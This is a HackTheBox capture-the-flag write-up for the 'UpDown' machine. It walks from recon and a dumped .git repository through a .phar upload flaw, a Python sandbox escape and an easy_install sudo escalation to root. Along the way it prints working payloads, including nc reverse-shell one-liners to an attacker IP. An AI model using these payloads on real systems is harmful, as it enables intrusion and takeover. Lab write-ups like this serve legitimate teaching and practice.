Introduction
Welcome to our new HackTheBox write-up! In this article, we will guide you through the steps we took to successfully compromise the targeted machine.
UpDown is an Medium Linux machine.
Recon
Let’s do some recon !
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
|
└─$ nmap 10.10.11.177 -T4 -A -Pn -p-
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9e1f98d7c8ba61dbf149669d701702e7 (RSA)
| 256 c21cfe1152e3d7e5f759186b68453f62 (ECDSA)
|_ 256 5f6e12670a66e8e2b761bec4143ad38e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
On port 80 we face a website with a service that test if a website is up. I tried to request my local server and it works.
We can find the domain name on the footer: siteisup.htb
Dirbusting
While dirbusting we find a page http://siteisup.htb/dev/
with a 301 response code. The site as been moved. I managed to try to fuzz subdomains, maybe the /dev/
is now at dev/siteisup.htb
.
Subdomains fuzzing
While fuzzing with ffuf
we found the subdomains dev.siteisup.htb
.
1
2
3
|
└─$ ffuf -w /usr/share/wordlists/subdomains-top1mil.txt -H "Host: FUZZ.siteisup.htb" -u http://10.10.11.177 -t 200 -fs 1131
dev [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 4305ms]
|
But we can’t access it, we get a 403 forbidden access.
Then, I tried to request dev.siteisup.htb
with the scanning service of the website.
But the service can’t find the page.
Nikto
I tried a nikto
scan to try to find some interesting informations about the server.
1
2
3
4
5
|
└─$ nikto -host "http://10.10.11.177/dev/"
+ /dev/.git/HEAD: Git HEAD file found. Full repo details may be present.
+ /dev/.git/config: Git config file found. Infos about repo details may be present.
+ 7895 requests: 0 error(s) and 8 item(s) reported on remote host
|
Dumping files
We find a .git
folder on the target. I managed to dump all files on the .git
. To do so I used git-dumper.
1
2
3
4
5
6
7
8
9
|
└─$ git-dumper http://10.10.11.177/dev/.git ./dev
└─$ tree dev
dev
├── admin.php
├── changelog.txt
├── checker.php
├── index.php
└── stylesheet.css
|
Checking files contents.
1
2
3
4
5
6
7
8
9
10
|
└─$ cat changelog.txt
Beta version
1- Check a bunch of websites.
-- ToDo:
1- Multithreading for a faster version :D.
2- Remove the upload option.
3- New admin panel.
|
On the changelog file we found that the website has an upload option. This our entry point. We have to found a way to upload and execute a file to get an access on the server.
Checking files
First, I checked checker.php
file. The file seems to correspond to the index page of http://siteisup.htb.
Complete code of checker.php
is available in appendix
File reveal that the associative array variable $_FILES
is used:
1
2
3
4
5
6
7
8
9
10
11
|
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
|
This is a php variable that is used to upload files on the server via POST request. There is also a check on file extension. But here, .phar
is not filtered this is interesting.
When extension check is passed, file are uploaded on the server on an /uploads/
directory:
1
2
3
4
5
6
7
8
|
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
|
Still on checker.php
at line 84, there is also a check on the use of file://
, data://
or ftp://
to prevent the read of local files with the use of curl_exec()
on the isitup() function
:
1
|
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
|
Then, file is deleted by the unlink()
function at line 97.
Now that we know that there is a file upload feature, I tried to find if it is always accessible.
Checking at dev.siteisup.htb
we get an forbidden access error.
1
2
3
4
5
6
7
8
9
10
|
└─$ curl "http://dev.siteisup.htb/"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at dev.siteisup.htb Port 80</address>
</body></html>
|
But on the .git
dump we recover a .htaccess
file.
1
2
3
4
5
|
└─$ cat .htaccess
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
|
Adding Special-dev: only4dev
header and we should get access to the page.
It works! We have an access to the upload feature. I tried to get /etc/passwd
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
POST / HTTP/1.1
Special-dev: only4dev
Host: dev.siteisup.htb
[...]
------WebKitFormBoundaryYokZAhDTpM189BPZ
Content-Disposition: form-data; name="file"; filename="site.txt"
Content-Type: application/x-php
localhost
file:///etc/passwd
------WebKitFormBoundaryYokZAhDTpM189BPZ
Content-Disposition: form-data; name="check"
Check
------WebKitFormBoundaryYokZAhDTpM189BPZ--
|
But as expected file://
is detected by the preg_match()
filter.
I also check PHP code of the index.php
file:
1
2
3
4
5
6
7
|
define("DIRECTACCESS",false);
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
include($_GET['page'] . ".php");
}else{
include("checker.php");
}
|
There is also a check for file inclusion attacks.
Path to the first shell
Knowing all those element, I first tried to found a way to bypass the preg_match()
function.
But I can’t find any way to do that. Then, I remembered that .phar
extension is allowed.
And one interesting things is that website can check a list of URLs maybe we can try to exploit the foreach loop to execute php code before file is removed.
Exploiting the loop
I create a exploit.phar
file containing the following content.
1
2
3
4
5
6
7
8
9
10
|
└─$ cat exploit.phar
<?php phpinfo(); ?>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
|
As we know that an /uploads/
directory is created when we send the request I submitted the file and check the directory.
We found our uploaded file. By going on http://dev.siteisup.htb/uploads/f1cb474b18e6566d47556fc6373fede4/exploit.phar
we get the result of phpinfo()
!
It works! We can now execute PHP code. Checking at disable_functions
directive, we find that many functions are disabled. We can’t simply craft a reverse shell payloads, functions like shell_exec
or exec
are disabled.
Checking at PHP Command Execution on Hacktricks, I found that proc_open()
function is not disabled.
I tried several payloads but one actually work. I found one on this website.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
└─$ cat exploit.phar
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("file", "/tmp/error-output.txt", "a") // stderr is a pipe that the child will write to
);
$cwd = "/tmp";
$env = array('some_option' => 'aeiou');
$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
fwrite($pipes[0], 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 4445 >/tmp/f');
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return_value = proc_close($process);
echo "command returned $return_value\n";
}
?>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
|
Opening a listener on my machine and we get our first shell!
1
2
3
4
5
6
|
└─$ rlwrap nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.177] 54566
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
Path to the privesc
developer
On developer’s home we find the following python script.
1
2
3
4
5
6
7
8
|
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"
|
And an ELF file siteisup
that probably correspond to the python script. Checking rights we find that the ELF has SUID bit. It means that the script is executed as developer
.
1
2
3
4
5
|
www-data@updown:/home/developels -alih
261133 drwxr-x--- 2 developer www-data 4.0K Jun 22 2022 .
260229 drwxr-xr-x 6 developer developer 4.0K Aug 30 11:24 ..
261147 -rwsr-x--- 1 developer www-data 17K Jun 22 2022 siteisup
261146 -rwxr-x--- 1 developer www-data 154 Jun 22 2022 siteisup_test.py
|
From Hacktricks I tried some sandboxing bypass to try to execute commands.
1
2
3
4
5
6
|
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
Enter URL here:__import__('timeit').timeit("__import__('os').system('id')",number=1)
uid=1002(developer) gid=33(www-data) groups=33(www-data)
|
It works with the payload __import__('timeit').timeit("__import__('os').system('<COMMAND>')",number=1)
. We can now execute command as developer
. I manage to do a reverse shell as developer
:
1
2
3
4
5
6
7
8
9
10
|
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
Enter URL here:__import__('timeit').timeit("__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 4446 >/tmp/f')",number=1)
└─$ rlwrap nc -lvnp 4446
listening on [any] 4446 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.177] 38776
$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)
|
We are now developer but we can get the private SSH key to have a more stable shell.
We can now get the user flag :)
1
2
|
developer@updown:~$ cat user.txt
***************************fc55
|
root
First, let’s check developer
privileges.
1
2
3
4
5
6
|
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install
|
developer
can execute /usr/local/bin/easy_install
as root without providing any password. I check on GTFOBins and I found a privesc for that command.
1
2
3
4
5
6
|
developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF
# id
uid=0(root) gid=0(root) groups=0(root)
|
We can now get the root flag :)
1
2
|
# cat /root/root.txt
**************************89b76b
|
Appendix
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
|
<?php
if(DIRECTACCESS){
die("Access Denied");
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset='utf-8' />
<meta http-equiv="X-UA-Compatible" content="chrome=1" />
<link rel="stylesheet" type="text/css" media="screen" href="stylesheet.css">
<title>Is my Website up ? (beta version)</title>
</head>
<body>
<div id="header_wrap" class="outer">
<header class="inner">
<h1 id="project_title">Welcome,<br> Is My Website UP ?</h1>
<h2 id="project_tagline">In this version you are able to scan a list of websites !</h2>
</header>
</div>
<div id="main_content_wrap" class="outer">
<section id="main_content" class="inner">
<form method="post" enctype="multipart/form-data">
<label>List of websites to check:</label><br><br>
<input type="file" name="file" size="50">
<input name="check" type="submit" value="Check">
</form>
<?php
function isitup($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, trim($url));
curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$f = curl_exec($ch);
$header = curl_getinfo($ch);
if($f AND $header['http_code'] == 200){
return array(true,$f);
}else{
return false;
}
curl_close($ch);
}
if($_POST['check']){
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
foreach($websites as $site){
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
}else{
echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
}
}else{
echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
}
}
# Delete the uploaded file.
@unlink($final_path);
}
function getExtension($file) {
$extension = strrpos($file,".");
return ($extension===false) ? "" : substr($file,$extension+1);
}
?>
</section>
</div>
<div id="footer_wrap" class="outer">
<footer class="inner">
<p class="copyright">siteisup.htb (beta)</p><br>
<a class="changelog" href="changelog.txt">changelog.txt</a><br>
</footer>
</div>
</body>
</html>
|